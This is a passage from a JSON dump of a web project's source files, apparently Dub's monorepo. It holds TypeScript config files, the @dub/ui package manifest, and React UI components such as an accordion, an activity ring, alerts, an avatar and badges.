FROM\n        {% if eventType == 'clicks' %} timeseries_clicks\n        {% elif eventType == 'leads' %} timeseries_leads\n        {% elif eventType == 'sales' %} timeseries_sales\n        {% elif eventType == 'composite' %} timeseries_composite\n        {% else %} timeseries_clicks\n        {% end %}\n\n\n"
  },
  {
    "path": "packages/tsconfig/base.json",
    "content": "{\n  \"$schema\": \"https://json.schemastore.org/tsconfig\",\n  \"display\": \"Default\",\n  \"compilerOptions\": {\n    \"composite\": false,\n    \"declaration\": true,\n    \"declarationMap\": true,\n    \"esModuleInterop\": true,\n    \"forceConsistentCasingInFileNames\": true,\n    \"allowImportingTsExtensions\": true,\n    \"noEmit\": true,\n    \"inlineSources\": false,\n    \"isolatedModules\": true,\n    \"moduleResolution\": \"node\",\n    \"noUnusedLocals\": false,\n    \"noUnusedParameters\": false,\n    \"preserveWatchOutput\": true,\n    \"skipLibCheck\": true,\n    \"strict\": true,\n    \"strictNullChecks\": true\n  },\n  \"exclude\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "packages/tsconfig/nextjs.json",
    "content": "{\n  \"$schema\": \"https://json.schemastore.org/tsconfig\",\n  \"display\": \"Next.js\",\n  \"extends\": \"./base.json\",\n  \"compilerOptions\": {\n    \"plugins\": [{ \"name\": \"next\" }],\n    \"allowJs\": true,\n    \"declaration\": false,\n    \"declarationMap\": false,\n    \"incremental\": true,\n    \"jsx\": \"preserve\",\n    \"lib\": [\"dom\", \"dom.iterable\", \"esnext\"],\n    \"module\": \"esnext\",\n    \"resolveJsonModule\": true,\n    \"strict\": false,\n    \"target\": \"es5\"\n  },\n  \"include\": [\"src\", \"next-env.d.ts\"],\n  \"exclude\": [\"node_modules\"]\n}\n"
  },
  {
    "path": "packages/tsconfig/package.json",
    "content": "{\n    \"name\": \"tsconfig\",\n    \"version\": \"0.0.0\",\n    \"private\": true,\n    \"license\": \"MIT\",\n    \"publishConfig\": {\n      \"access\": \"public\"\n    }\n}"
  },
  {
    "path": "packages/tsconfig/react-library.json",
    "content": "{\n  \"$schema\": \"https://json.schemastore.org/tsconfig\",\n  \"display\": \"React Library\",\n  \"extends\": \"./base.json\",\n  \"compilerOptions\": {\n    \"lib\": [\"ES2015\", \"DOM\"],\n    \"module\": \"ESNext\",\n    \"target\": \"ES2022\",\n    \"jsx\": \"react-jsx\",\n    \"noEmit\": true\n  }\n}\n"
  },
  {
    "path": "packages/ui/README.md",
    "content": "# `@dub/ui`\n\n`@dub/ui` is a library of React components that are used across Dub's web applications.\n\n## Installation\n\nTo install the package, run:\n\n```bash\npnpm i @dub/ui\n```\n"
  },
  {
    "path": "packages/ui/package.json",
    "content": "{\n  \"name\": \"@dub/ui\",\n  \"description\": \"UI components for Dub\",\n  \"version\": \"0.2.69\",\n  \"sideEffects\": false,\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.mjs\",\n  \"types\": \"./dist/index.d.ts\",\n  \"files\": [\n    \"dist/**\"\n  ],\n  \"exports\": {\n    \".\": {\n      \"types\": \"./dist/index.d.ts\",\n      \"import\": \"./dist/index.mjs\",\n      \"require\": \"./dist/index.js\"\n    },\n    \"./icons\": {\n      \"types\": \"./dist/icons/index.d.ts\",\n      \"import\": \"./dist/icons/index.mjs\",\n      \"require\": \"./dist/icons/index.js\"\n    },\n    \"./charts\": {\n      \"types\": \"./dist/charts/index.d.ts\",\n      \"import\": \"./dist/charts/index.mjs\",\n      \"require\": \"./dist/charts/index.js\"\n    }\n  },\n  \"scripts\": {\n    \"build\": \"tsup\",\n    \"lint\": \"eslint src/\",\n    \"dev\": \"tsup --watch\",\n    \"check-types\": \"tsc --noEmit\"\n  },\n  \"peerDependencies\": {\n    \"next\": \"15.5.7\",\n    \"react\": \"19.1.3\",\n    \"react-dom\": \"19.1.3\"\n  },\n  \"devDependencies\": {\n    \"@dub/tailwind-config\": \"workspace:*\",\n    \"@dub/utils\": \"workspace:*\",\n    \"@types/d3-array\": \"^3.2.1\",\n    \"@types/js-cookie\": \"^3.0.6\",\n    \"@types/react\": \"^19.1.14\",\n    \"@types/react-dom\": \"^19.1.9\",\n    \"autoprefixer\": \"^10.4.16\",\n    \"next\": \"15.5.8\",\n    \"postcss\": \"^8.4.31\",\n    \"react\": \"^19.1.3\",\n    \"react-dom\": \"^19.1.3\",\n    \"tailwindcss\": \"^3.4.4\",\n    \"tsconfig\": \"workspace:*\",\n    \"tsup\": \"^6.1.3\",\n    \"typescript\": \"^5.1.6\"\n  },\n  \"dependencies\": {\n    \"@floating-ui/dom\": \"^1.6.12\",\n    \"@floating-ui/react\": \"^0.26.20\",\n    \"@internationalized/date\": \"^3.5.3\",\n    \"@radix-ui/react-accordion\": \"^1.2.12\",\n    \"@radix-ui/react-checkbox\": \"^1.3.3\",\n    \"@radix-ui/react-dialog\": \"1.1.15\",\n    \"@radix-ui/react-label\": \"^2.1.7\",\n    \"@radix-ui/react-navigation-menu\": \"^1.2.14\",\n    \"@radix-ui/react-popover\": \"1.1.15\",\n    \"@radix-ui/react-radio-group\": \"^1.3.8\",\n    \"@radix-ui/react-slider\": \"^1.3.6\",\n    \"@radix-ui/react-slot\": \"1.2.3\",\n    \"@radix-ui/react-switch\": \"^1.2.6\",\n    \"@radix-ui/react-tooltip\": \"^1.2.8\",\n    \"@radix-ui/react-visually-hidden\": \"^1.2.3\",\n    \"@react-aria/datepicker\": \"^3.10.0\",\n    \"@react-stately/datepicker\": \"^3.9.3\",\n    \"@tanstack/react-table\": \"^8.17.3\",\n    \"@tiptap/extension-file-handler\": \"^3.15.3\",\n    \"@tiptap/extension-image\": \"^3.15.3\",\n    \"@tiptap/extension-link\": \"^3.15.3\",\n    \"@tiptap/extension-mention\": \"^3.15.3\",\n    \"@tiptap/extensions\": \"^3.15.3\",\n    \"@tiptap/markdown\": \"^3.15.3\",\n    \"@tiptap/pm\": \"^3.15.3\",\n    \"@tiptap/react\": \"^3.15.3\",\n    \"@tiptap/starter-kit\": \"^3.15.3\",\n    \"@visx/axis\": \"^2.14.0\",\n    \"@visx/clip-path\": \"^3.3.0\",\n    \"@visx/curve\": \"^3.3.0\",\n    \"@visx/event\": \"^2.6.0\",\n    \"@visx/gradient\": \"^3.3.0\",\n    \"@visx/group\": \"^3.3.0\",\n    \"@visx/responsive\": \"^2.10.0\",\n    \"@visx/scale\": \"^3.3.0\",\n    \"@visx/shape\": \"^2.12.2\",\n    \"@visx/text\": \"^3.3.0\",\n    \"@visx/tooltip\": \"^2.16.0\",\n    \"class-variance-authority\": \"^0.7.0\",\n    \"cmdk\": \"^1.1.1\",\n    \"d3-array\": \"^3.2.4\",\n    \"date-fns\": \"^4.1.0\",\n    \"embla-carousel-autoplay\": \"^8.1.7\",\n    \"embla-carousel-react\": \"^8.1.7\",\n    \"js-cookie\": \"^3.0.5\",\n    \"js-sha256\": \"^0.11.0\",\n    \"linkify-react\": \"^4.3.2\",\n    \"linkifyjs\": \"^4.1.3\",\n    \"lucide-react\": \"^0.462.0\",\n    \"motion\": \"^12.23.22\",\n    \"react-day-picker\": \"^8.10.1\",\n    \"react-markdown\": \"^9.0.3\",\n    \"sonner\": \"^1.4.41\",\n    \"swr\": \"^2.1.5\",\n    \"use-debounce\": \"^8.0.4\",\n    \"vaul\": \"^1.1.2\"\n  },\n  \"author\": \"Steven Tey <stevensteel97@gmail.com>\",\n  \"homepage\": \"https://dub.co\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/dubinc/dub.git\"\n  },\n  \"bugs\": {\n    \"url\": \"https://github.com/dubinc/dub/issues\"\n  },\n  \"keywords\": [\n    \"dub\",\n    \"dub.co\",\n    \"ui\"\n  ],\n  \"publishConfig\": {\n    \"access\": \"public\"\n  }\n}\n"
  },
  {
    "path": "packages/ui/postcss.config.js",
    "content": "// If you want to use other PostCSS plugins, see the following:\n// https://tailwindcss.com/docs/using-with-preprocessors\n\nmodule.exports = {\n  plugins: {\n    tailwindcss: {},\n    autoprefixer: {},\n  },\n};\n"
  },
  {
    "path": "packages/ui/src/accordion.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport * as AccordionPrimitive from \"@radix-ui/react-accordion\";\nimport { ChevronDown } from \"lucide-react\";\nimport * as React from \"react\";\nimport { Plus } from \"./icons\";\n\nconst Accordion = AccordionPrimitive.Root;\n\nconst AccordionItem = React.forwardRef<\n  React.ElementRef<typeof AccordionPrimitive.Item>,\n  React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Item>\n>(({ className, ...props }, ref) => (\n  <AccordionPrimitive.Item\n    ref={ref}\n    className={cn(\n      \"border-b border-b-slate-200 py-3 last:border-none\",\n      className,\n    )}\n    {...props}\n  />\n));\nAccordionItem.displayName = \"AccordionItem\";\n\nconst AccordionTrigger = React.forwardRef<\n  React.ElementRef<typeof AccordionPrimitive.Trigger>,\n  React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Trigger> & {\n    variant?: \"chevron\" | \"plus\";\n  }\n>(({ className, children, variant = \"chevron\", ...props }, ref) => {\n  const Icon = variant === \"chevron\" ? ChevronDown : Plus;\n  return (\n    <AccordionPrimitive.Header className=\"flex\">\n      <AccordionPrimitive.Trigger\n        ref={ref}\n        className={cn(\n          \"flex flex-1 items-center justify-between font-medium transition-all sm:text-lg\",\n          {\n            \"[&[data-state=open]>svg]:rotate-180\": variant === \"chevron\",\n            \"[&[data-state=open]>svg]:rotate-45\": variant === \"plus\",\n          },\n          className,\n        )}\n        {...props}\n      >\n        {children}\n        <Icon className=\"h-5 w-5 flex-none transition-transform duration-300\" />\n      </AccordionPrimitive.Trigger>\n    </AccordionPrimitive.Header>\n  );\n});\nAccordionTrigger.displayName = AccordionPrimitive.Trigger.displayName;\n\nconst AccordionContent = React.forwardRef<\n  React.ElementRef<typeof AccordionPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof AccordionPrimitive.Content>\n>(({ className, children, ...props }, ref) => (\n  <AccordionPrimitive.Content\n    ref={ref}\n    className={cn(\n      \"data-[state=closed]:animate-accordion-up data-[state=open]:animate-accordion-down overflow-hidden text-sm text-neutral-500 transition-all sm:text-base\",\n      className,\n    )}\n    {...props}\n  >\n    {children}\n  </AccordionPrimitive.Content>\n));\nAccordionContent.displayName = AccordionPrimitive.Content.displayName;\n\nexport { Accordion, AccordionContent, AccordionItem, AccordionTrigger };\n"
  },
  {
    "path": "packages/ui/src/activity-ring.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { ComponentType, SVGProps, useMemo } from \"react\";\n\ntype IconComponent = ComponentType<SVGProps<SVGSVGElement>>;\n\ninterface ActivityRingProps {\n  /** Value for the positive/trustworthy side */\n  positiveValue: number;\n  /** Value for the negative/removed side */\n  negativeValue: number;\n  /** Size of the ring in pixels (default: 40) */\n  size?: number;\n  /** Icon to show when positive leads */\n  positiveIcon?: IconComponent;\n  /** Icon to show when negative leads */\n  negativeIcon?: IconComponent;\n  /** Icon to show when neutral (tie) */\n  neutralIcon?: IconComponent;\n  className?: string;\n}\n\nconst COLORS = {\n  positive: \"#00C951\", // green ring\n  negative: \"#FB2C36\", // red ring\n  neutral: \"#e5e5e5\", // neutral-200 for rings\n  positiveIcon: \"#166534\", // green-800\n  negativeIcon: \"#991b1b\", // red-800\n  neutralIcon: \"#262626\", // neutral-800\n};\n\n// Gap angle in degrees at each connection point\nconst GAP_ANGLE = 15;\n\n// Minimum arc sweep to ensure visibility when value > 0\nconst MIN_ARC_DEGREES = 30;\n\nfunction polarToCartesian(\n  cx: number,\n  cy: number,\n  r: number,\n  angleDeg: number,\n): { x: number; y: number } {\n  const angleRad = ((angleDeg - 90) * Math.PI) / 180;\n  return {\n    x: cx + r * Math.cos(angleRad),\n    y: cy + r * Math.sin(angleRad),\n  };\n}\n\nfunction describeArc(\n  cx: number,\n  cy: number,\n  r: number,\n  startAngle: number,\n  endAngle: number,\n): string {\n  const start = polarToCartesian(cx, cy, r, startAngle);\n  const end = polarToCartesian(cx, cy, r, endAngle);\n  const sweep = endAngle - startAngle;\n  const largeArcFlag = sweep > 180 ? 1 : 0;\n\n  return `M ${start.x} ${start.y} A ${r} ${r} 0 ${largeArcFlag} 1 ${end.x} ${end.y}`;\n}\n\n// Creates a filled arc segment (donut slice) between outer and inner radius\nfunction describeFilledArc(\n  cx: number,\n  cy: number,\n  outerRadius: number,\n  innerRadius: number,\n  startAngle: number,\n  endAngle: number,\n): string {\n  const outerStart = polarToCartesian(cx, cy, outerRadius, startAngle);\n  const outerEnd = polarToCartesian(cx, cy, outerRadius, endAngle);\n  const innerStart = polarToCartesian(cx, cy, innerRadius, startAngle);\n  const innerEnd = polarToCartesian(cx, cy, innerRadius, endAngle);\n  const sweep = endAngle - startAngle;\n  const largeArcFlag = sweep > 180 ? 1 : 0;\n\n  return [\n    `M ${outerStart.x} ${outerStart.y}`, // Start at outer arc\n    `A ${outerRadius} ${outerRadius} 0 ${largeArcFlag} 1 ${outerEnd.x} ${outerEnd.y}`, // Outer arc\n    `L ${innerEnd.x} ${innerEnd.y}`, // Line to inner arc\n    `A ${innerRadius} ${innerRadius} 0 ${largeArcFlag} 0 ${innerStart.x} ${innerStart.y}`, // Inner arc (reverse)\n    \"Z\", // Close path\n  ].join(\" \");\n}\n\ntype RingState = \"positive\" | \"negative\" | \"neutral\";\n\nexport function ActivityRing({\n  positiveValue,\n  negativeValue,\n  size = 40,\n  positiveIcon: PositiveIcon,\n  negativeIcon: NegativeIcon,\n  neutralIcon: NeutralIcon,\n  className,\n}: ActivityRingProps) {\n  const state: RingState = useMemo(() => {\n    if (positiveValue > negativeValue) return \"positive\";\n    if (negativeValue > positiveValue) return \"negative\";\n    return \"neutral\";\n  }, [positiveValue, negativeValue]);\n\n  // Calculate arc angles based on ratio\n  const { positiveArc, negativeArc, showOnlyPositive, showOnlyNegative } =\n    useMemo(() => {\n      const total = positiveValue + negativeValue;\n\n      // Available sweep angle (360 - 2 gaps)\n      const availableSweep = 360 - GAP_ANGLE * 2;\n\n      if (total === 0) {\n        // Neutral: equal arcs at 50% each\n        const halfSweep = availableSweep / 2;\n        return {\n          // Right side: from top going clockwise to bottom\n          positiveArc: { start: GAP_ANGLE / 2, end: GAP_ANGLE / 2 + halfSweep },\n          // Left side: from bottom going clockwise to top\n          negativeArc: {\n            start: 180 + GAP_ANGLE / 2,\n            end: 180 + GAP_ANGLE / 2 + halfSweep,\n          },\n          showOnlyPositive: false,\n          showOnlyNegative: false,\n        };\n      }\n\n      // When one value is 0, show full circle of the other color (no gaps)\n      if (positiveValue === 0) {\n        return {\n          positiveArc: { start: 0, end: 0 },\n          negativeArc: { start: 0, end: 360 },\n          showOnlyPositive: false,\n          showOnlyNegative: true,\n        };\n      }\n\n      if (negativeValue === 0) {\n        return {\n          positiveArc: { start: 0, end: 360 },\n          negativeArc: { start: 0, end: 0 },\n          showOnlyPositive: true,\n          showOnlyNegative: false,\n        };\n      }\n\n      const positiveRatio = positiveValue / total;\n\n      // Calculate sweeps with minimum visibility\n      let positiveSweep = positiveRatio * availableSweep;\n      let negativeSweep = (1 - positiveRatio) * availableSweep;\n\n      // Ensure minimum visibility for non-zero values\n      if (positiveValue > 0 && positiveSweep < MIN_ARC_DEGREES) {\n        positiveSweep = MIN_ARC_DEGREES;\n        negativeSweep = availableSweep - MIN_ARC_DEGREES;\n      }\n      if (negativeValue > 0 && negativeSweep < MIN_ARC_DEGREES) {\n        negativeSweep = MIN_ARC_DEGREES;\n        positiveSweep = availableSweep - MIN_ARC_DEGREES;\n      }\n\n      return {\n        // Right side: from top going clockwise\n        positiveArc: {\n          start: GAP_ANGLE / 2,\n          end: GAP_ANGLE / 2 + positiveSweep,\n        },\n        // Left side: from where positive ends + gap, going clockwise\n        negativeArc: {\n          start: GAP_ANGLE / 2 + positiveSweep + GAP_ANGLE,\n          end: GAP_ANGLE / 2 + positiveSweep + GAP_ANGLE + negativeSweep,\n        },\n        showOnlyPositive: false,\n        showOnlyNegative: false,\n      };\n    }, [positiveValue, negativeValue]);\n\n  const center = size / 2;\n  const strokeWidth = 3;\n  const outerRadius = (size - strokeWidth) / 2; // Stroke centered on this radius\n  const fillOuterRadius = outerRadius - strokeWidth / 2; // Inner edge of stroke\n  const fillInnerRadius = size * 0.28; // Inner radius for filled area\n\n  const IconComponent = useMemo(() => {\n    switch (state) {\n      case \"positive\":\n        return PositiveIcon;\n      case \"negative\":\n        return NegativeIcon;\n      default:\n        return NeutralIcon;\n    }\n  }, [state, PositiveIcon, NegativeIcon, NeutralIcon]);\n\n  const iconColor = useMemo(() => {\n    switch (state) {\n      case \"positive\":\n        return COLORS.positiveIcon;\n      case \"negative\":\n        return COLORS.negativeIcon;\n      default:\n        return COLORS.neutralIcon;\n    }\n  }, [state]);\n\n  // Always use green and red colors\n  const positiveColor = COLORS.positive;\n  const negativeColor = COLORS.negative;\n\n  return (\n    <div\n      className={cn(\"relative shrink-0\", className)}\n      style={{ width: size, height: size }}\n    >\n      <svg width={size} height={size} viewBox={`0 0 ${size} ${size}`}>\n        {/* Full circle fill for 100% positive */}\n        {showOnlyPositive && (\n          <circle\n            cx={center}\n            cy={center}\n            r={(fillOuterRadius + fillInnerRadius) / 2}\n            fill=\"none\"\n            stroke={COLORS.positive}\n            strokeWidth={fillOuterRadius - fillInnerRadius}\n            opacity={0.1}\n          />\n        )}\n\n        {/* Full circle fill for 100% negative */}\n        {showOnlyNegative && (\n          <circle\n            cx={center}\n            cy={center}\n            r={(fillOuterRadius + fillInnerRadius) / 2}\n            fill=\"none\"\n            stroke={COLORS.negative}\n            strokeWidth={fillOuterRadius - fillInnerRadius}\n            opacity={0.1}\n          />\n        )}\n\n        {/* Filled arc for positive (behind stroke) - only when not full circle */}\n        {positiveValue > 0 && !showOnlyPositive && (\n          <path\n            d={describeFilledArc(\n              center,\n              center,\n              fillOuterRadius,\n              fillInnerRadius,\n              positiveArc.start,\n              positiveArc.end,\n            )}\n            fill={COLORS.positive}\n            opacity={0.1}\n          />\n        )}\n\n        {/* Filled arc for negative (behind stroke) - only when not full circle */}\n        {negativeValue > 0 && !showOnlyNegative && (\n          <path\n            d={describeFilledArc(\n              center,\n              center,\n              fillOuterRadius,\n              fillInnerRadius,\n              negativeArc.start,\n              negativeArc.end,\n            )}\n            fill={COLORS.negative}\n            opacity={0.1}\n          />\n        )}\n\n        {/* Full circle stroke for 100% positive */}\n        {showOnlyPositive && (\n          <circle\n            cx={center}\n            cy={center}\n            r={outerRadius}\n            fill=\"none\"\n            stroke={positiveColor}\n            strokeWidth={strokeWidth}\n          />\n        )}\n\n        {/* Full circle stroke for 100% negative */}\n        {showOnlyNegative && (\n          <circle\n            cx={center}\n            cy={center}\n            r={outerRadius}\n            fill=\"none\"\n            stroke={negativeColor}\n            strokeWidth={strokeWidth}\n          />\n        )}\n\n        {/* Positive arc stroke (right side) - only when not full circle */}\n        {!showOnlyPositive && !showOnlyNegative && (\n          <path\n            d={describeArc(\n              center,\n              center,\n              outerRadius,\n              positiveArc.start,\n              positiveArc.end,\n            )}\n            stroke={positiveColor}\n            strokeWidth={strokeWidth}\n            fill=\"none\"\n            strokeLinecap=\"round\"\n          />\n        )}\n\n        {/* Negative arc stroke (left side) - only when not full circle */}\n        {!showOnlyPositive && !showOnlyNegative && (\n          <path\n            d={describeArc(\n              center,\n              center,\n              outerRadius,\n              negativeArc.start,\n              negativeArc.end,\n            )}\n            stroke={negativeColor}\n            strokeWidth={strokeWidth}\n            fill=\"none\"\n            strokeLinecap=\"round\"\n          />\n        )}\n      </svg>\n\n      {/* Centered icon */}\n      {IconComponent && (\n        <div\n          className=\"absolute inset-0 flex items-center justify-center\"\n          style={{ color: iconColor }}\n        >\n          <IconComponent className=\"size-3.5\" />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/alert.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { cva, type VariantProps } from \"class-variance-authority\";\nimport * as React from \"react\";\n\nconst alertVariants = cva(\n  \"relative w-full rounded-lg border px-4 py-6 [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground [&>svg~*]:pl-7\",\n  {\n    variants: {\n      variant: {\n        default: \"bg-background text-foreground\",\n        destructive:\n          \"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive border-red-500 dark:border-red-500\",\n      },\n    },\n    defaultVariants: {\n      variant: \"default\",\n    },\n  },\n);\n\nconst Alert = React.forwardRef<\n  HTMLDivElement,\n  React.HTMLAttributes<HTMLDivElement> & VariantProps<typeof alertVariants>\n>(({ className, variant, ...props }, ref) => (\n  <div\n    ref={ref}\n    role=\"alert\"\n    className={cn(alertVariants({ variant }), className)}\n    {...props}\n  />\n));\n\nAlert.displayName = \"Alert\";\n\nconst AlertTitle = React.forwardRef<\n  HTMLParagraphElement,\n  React.HTMLAttributes<HTMLHeadingElement>\n>(({ className, ...props }, ref) => (\n  <h5\n    ref={ref}\n    className={cn(\n      \"text-md mb-2 font-medium leading-none tracking-tight\",\n      className,\n    )}\n    {...props}\n  />\n));\n\nAlertTitle.displayName = \"AlertTitle\";\n\nconst AlertDescription = React.forwardRef<\n  HTMLParagraphElement,\n  React.HTMLAttributes<HTMLParagraphElement>\n>(({ className, ...props }, ref) => (\n  <div\n    ref={ref}\n    className={cn(\"text-sm [&_p]:leading-relaxed\", className)}\n    {...props}\n  />\n));\n\nAlertDescription.displayName = \"AlertDescription\";\n\nexport { Alert, AlertDescription, AlertTitle };\n"
  },
  {
    "path": "packages/ui/src/animated-size-container.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport {\n  ComponentPropsWithoutRef,\n  ForwardRefExoticComponent,\n  PropsWithChildren,\n  RefAttributes,\n  forwardRef,\n  useRef,\n} from \"react\";\nimport { useResizeObserver } from \"./hooks\";\n\nconst defaultTransition = { type: \"spring\" as const, duration: 0.3 };\n\ntype AnimatedSizeContainerProps = PropsWithChildren<{\n  width?: boolean;\n  height?: boolean;\n}> &\n  Omit<ComponentPropsWithoutRef<typeof motion.div>, \"animate\" | \"children\">;\n\n/**\n * A container with animated width and height (each optional) based on children dimensions\n */\nconst AnimatedSizeContainer: ForwardRefExoticComponent<\n  AnimatedSizeContainerProps & RefAttributes<HTMLDivElement>\n> = forwardRef<HTMLDivElement, AnimatedSizeContainerProps>(\n  (\n    {\n      width = false,\n      height = false,\n      className,\n      transition,\n      children,\n      ...rest\n    }: AnimatedSizeContainerProps,\n    forwardedRef,\n  ) => {\n    const containerRef = useRef<HTMLDivElement>(null);\n    const resizeObserverEntry = useResizeObserver(containerRef);\n    const hasMeasuredRef = useRef(false);\n\n    const measuredWidth = resizeObserverEntry?.contentRect?.width;\n    const measuredHeight = resizeObserverEntry?.contentRect?.height;\n    const isFirstMeasurement =\n      (width ? measuredWidth != null : true) &&\n      (height ? measuredHeight != null : true) &&\n      !hasMeasuredRef.current;\n\n    if (resizeObserverEntry) {\n      hasMeasuredRef.current = true;\n    }\n\n    const effectiveTransition =\n      transition ?? (isFirstMeasurement ? { duration: 0 } : defaultTransition);\n\n    return (\n      <motion.div\n        ref={forwardedRef}\n        className={cn(\"overflow-hidden\", className)}\n        animate={{\n          width: width ? measuredWidth ?? \"auto\" : \"auto\",\n          height: height ? measuredHeight ?? \"auto\" : \"auto\",\n        }}\n        transition={effectiveTransition}\n        {...rest}\n      >\n        <div\n          ref={containerRef}\n          className={cn(height && \"h-max\", width && \"w-max\")}\n        >\n          {children}\n        </div>\n      </motion.div>\n    );\n  },\n);\n\nAnimatedSizeContainer.displayName = \"AnimatedSizeContainer\";\n\nexport { AnimatedSizeContainer };\n"
  },
  {
    "path": "packages/ui/src/avatar.tsx",
    "content": "import { cn, getAvatarTheme } from \"@dub/utils\";\n\nconst headStyle = {\n  backgroundImage:\n    \"linear-gradient(135deg, rgba(255,255,255,0) 0%, rgba(0,0,0,0.2) 100%)\",\n  boxShadow:\n    \"inset 6px -5px 11px rgba(0,0,0,0.13), inset -18px -12px 19px rgba(255,255,255,0.4)\",\n};\n\nconst shouldersStyle = {\n  backgroundImage:\n    \"linear-gradient(135deg, rgba(255,255,255,0) 0%, rgba(0,0,0,0.2) 100%)\",\n  boxShadow:\n    \"inset 10px -12px 19px rgba(0,0,0,0.4), inset -18px -12px 19px rgba(255,255,255,0.4), inset 2px -1px 11px rgba(0,0,0,0.1)\",\n};\n\nexport function Avatar({\n  imageUrl,\n  identifier,\n  className,\n}: {\n  imageUrl?: string | null;\n  identifier: string;\n  className?: string;\n}) {\n  if (imageUrl) {\n    return (\n      <img\n        src={imageUrl}\n        alt={identifier}\n        className={cn(\"shrink-0 rounded-full\", className)}\n      />\n    );\n  }\n\n  const theme = getAvatarTheme(identifier);\n\n  return (\n    <div\n      className={cn(\n        \"relative shrink-0 overflow-hidden rounded-full\",\n        className,\n      )}\n      style={{ background: theme.bg }}\n      role=\"img\"\n      aria-label={identifier}\n    >\n      <div className=\"absolute left-0 top-0 h-full w-full\">\n        <div\n          className=\"absolute left-[30%] top-[22%] aspect-square w-[40%] rounded-full\"\n          style={{\n            background: theme.fg,\n            ...headStyle,\n          }}\n        />\n        <div\n          className=\"absolute left-[10%] top-[70%] h-[40%] w-[80%] rounded-t-full\"\n          style={{\n            background: theme.fg,\n            ...shouldersStyle,\n          }}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/background.tsx",
    "content": "export function Background() {\n  return (\n    <div style={styles.backgroundMain}>\n      <div style={styles.backgroundMainBefore} />\n      <div style={styles.backgroundMainAfter} />\n      <div style={styles.backgroundContent} />\n    </div>\n  );\n}\n\nconst styles: { [key: string]: React.CSSProperties } = {\n  backgroundMain: {\n    width: \"100vw\",\n    minHeight: \"100vh\",\n    position: \"fixed\",\n    zIndex: 1,\n    display: \"flex\",\n    justifyContent: \"center\",\n    padding: \"120px 24px 160px 24px\",\n    pointerEvents: \"none\",\n  },\n  backgroundMainBefore: {\n    background: \"radial-gradient(circle, rgba(2, 0, 36, 0) 0, #fafafa 100%)\",\n    position: \"absolute\",\n    content: '\"\"',\n    zIndex: 2,\n    width: \"100%\",\n    height: \"100%\",\n    top: 0,\n  },\n  backgroundMainAfter: {\n    content: '\"\"',\n    backgroundImage: \"url(https://assets.dub.co/misc/grid.svg)\",\n    zIndex: 1,\n    position: \"absolute\",\n    width: \"100%\",\n    height: \"100%\",\n    top: 0,\n    opacity: 0.4,\n    filter: \"invert(1)\",\n  },\n  backgroundContent: {\n    zIndex: 3,\n    width: \"100%\",\n    maxWidth: \"640px\",\n    backgroundImage: `radial-gradient(at 27% 37%, hsla(215, 98%, 61%, 1) 0px, transparent 0%), \n                      radial-gradient(at 97% 21%, hsla(125, 98%, 72%, 1) 0px, transparent 50%),\n                      radial-gradient(at 52% 99%, hsla(354, 98%, 61%, 1) 0px, transparent 50%),\n                      radial-gradient(at 10% 29%, hsla(256, 96%, 67%, 1) 0px, transparent 50%),\n                      radial-gradient(at 97% 96%, hsla(38, 60%, 74%, 1) 0px, transparent 50%),\n                      radial-gradient(at 33% 50%, hsla(222, 67%, 73%, 1) 0px, transparent 50%),\n                      radial-gradient(at 79% 53%, hsla(343, 68%, 79%, 1) 0px, transparent 50%)`,\n    position: \"absolute\",\n    height: \"100%\",\n    filter: \"blur(100px) saturate(150%)\",\n    top: \"80px\",\n    opacity: 0.15,\n  },\n};\n"
  },
  {
    "path": "packages/ui/src/badge.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { cva, type VariantProps } from \"class-variance-authority\";\n\nconst badgeVariants = cva(\n  \"max-w-fit rounded-full border px-2 py-px text-xs font-medium whitespace-nowrap\",\n  {\n    variants: {\n      variant: {\n        default: \"border-neutral-400 text-neutral-500\",\n        violet: \"border-violet-600 bg-violet-600 text-white\",\n        blue: \"border-blue-500 bg-blue-500 text-white\",\n        green: \"border-green-100 bg-green-100 text-green-900\",\n        sky: \"border-sky-900 bg-sky-900 text-white\",\n        black: \"border-black bg-black text-white\",\n        gray: \"border-neutral-200 bg-neutral-100 text-neutral-800\",\n        neutral: \"border-neutral-400 text-neutral-500\",\n        amber: \"border-amber-800 bg-amber-800 text-white\",\n        blueGradient:\n          \"bg-gradient-to-r from-blue-100 via-blue-100/50 to-blue-100 border border-blue-200 text-blue-900\",\n        rainbow:\n          \"bg-gradient-to-r from-violet-600 to-pink-600 text-white border-transparent\",\n      },\n    },\n    defaultVariants: {\n      variant: \"neutral\",\n    },\n  },\n);\n\ninterface BadgeProps\n  extends React.HTMLAttributes<HTMLSpanElement>,\n    VariantProps<typeof badgeVariants> {}\n\nfunction Badge({ className, variant, ...props }: BadgeProps) {\n  return (\n    <span className={cn(badgeVariants({ variant }), className)} {...props} />\n  );\n}\n\nexport { Badge, badgeVariants };\n"
  },
  {
    "path": "packages/ui/src/blur-image.tsx",
